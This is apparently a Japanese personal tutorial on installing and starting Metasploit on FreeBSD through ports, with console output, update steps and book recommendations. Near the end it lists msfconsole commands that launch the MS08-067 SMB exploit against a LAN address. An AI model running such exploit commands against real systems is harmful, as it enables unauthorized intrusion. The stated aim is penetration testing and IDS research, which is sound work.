FreeBSD Metasploitをインストールしてみよう

このドキュメントの内容は、以下の通りです。

• FreeBSD に metasploit をインストール
• インストール
• 参考サイト
• メモ
• インストール先
• 動かし方
• msfd を起動する
• msfconsole を動かす
• ファイルの更新方法
• msfconsole を動かす

• ペネトレーションテスト
• IDS シグネチャの開発
• exploit の研究 をする人々に有益な情報を提供することをゴールとしています。

FreeBSD に metasploit をインストール

インストール

cd /usr/ports/security/metasploit/
sudo make install clean

sudo portinstall /usr/ports/security/metasploit/

sudo portmaster -y -d /usr/ports/security/metasploit/

参考サイト

• http://www.metasploit.org/

メモ

===>>> The following actions will be taken if you choose to proceed:
        Install security/metasploit
	Upgrade nasm-2.09.10,1 to nasm-2.10.03,1
	Install devel/ncurses
	Upgrade nmap-5.61.t5 to nmap-6.01
	Upgrade pcre-8.31 to
	pcre-8.31_1

インストール先

/usr/local/share/metasploit

動かし方

msfd を起動する

cd /usr/local/share/metasploit
sudo msfd
パスワード:
[*] Initializing msfd...
[*] Running msfd...

msfconsole を動かす

薫% ./msfconsole             23:24[vm2 /usr/local/share/metasploit]


MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM



       =[ metasploit v4.1.0-release [core:4.1 api:1.0]
+ -- --=[ 748 exploits - 383 auxiliary - 92 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
       =[ svn r13992 updated 355 days ago (2011.10.18)

Warning: This copy of the Metasploit Framework was last updated 355 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             https://community.rapid7.com/docs/DOC-1306

msf >

ファイルの更新方法

cd /usr/local/share/metasploit
sudo svn upgrade

msfconsole を動かす

薫% msfconsole                0:07[vm2 /usr/local/share/metasploit]

 ______________________________________________________________________________
|                                                                              |
|                   METASPLOIT CYBER MISSILE COMMAND V4                        |
|______________________________________________________________________________|
      \                                  /                      /
       \     .                          /                      /            x
        \                              /                      /
         \                            /          +           /
          \            +             /                      /
           *                        /                      /
                                   /      .               /
    X                             /                      /            X
                                 /                     ###
                                /                     # % #
                               /                       ###
                      .       /
     .                       /      .            *           .
                            /
                           *
                  +                       *

                                       ^
####      __     __     __          #######         __     __     __        ####
####    /    \ /    \ /    \      ###########     /    \ /    \ /    \      ####
################################################################################
################################################################################
# WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################



       =[ metasploit v4.1.0-release [core:4.1 api:1.0]
+ -- --=[ 748 exploits - 383 auxiliary - 92 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops

msf >

show exploits

use windows/smb/ms08_067_netapi

msf > use windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) >

show options

set RHOST 192.168.0.100

show targets

set target 51

exploit

• 

  実践 Metasploit ―ペネトレーションテストによる脆弱性評価

• 

  Hacking: 美しき策謀 第2版 ―脆弱性攻撃の理論と実際

• 

  続・ハッキングの達人 (白夜ムック)

• 

  Nessus入門(ネットワーク脆弱性試験ツール活用術)

• 

  アナライジング・マルウェア ―フリーツールを使った感染事案対処 (Art Of Reversing)

• 

  Metasploit Project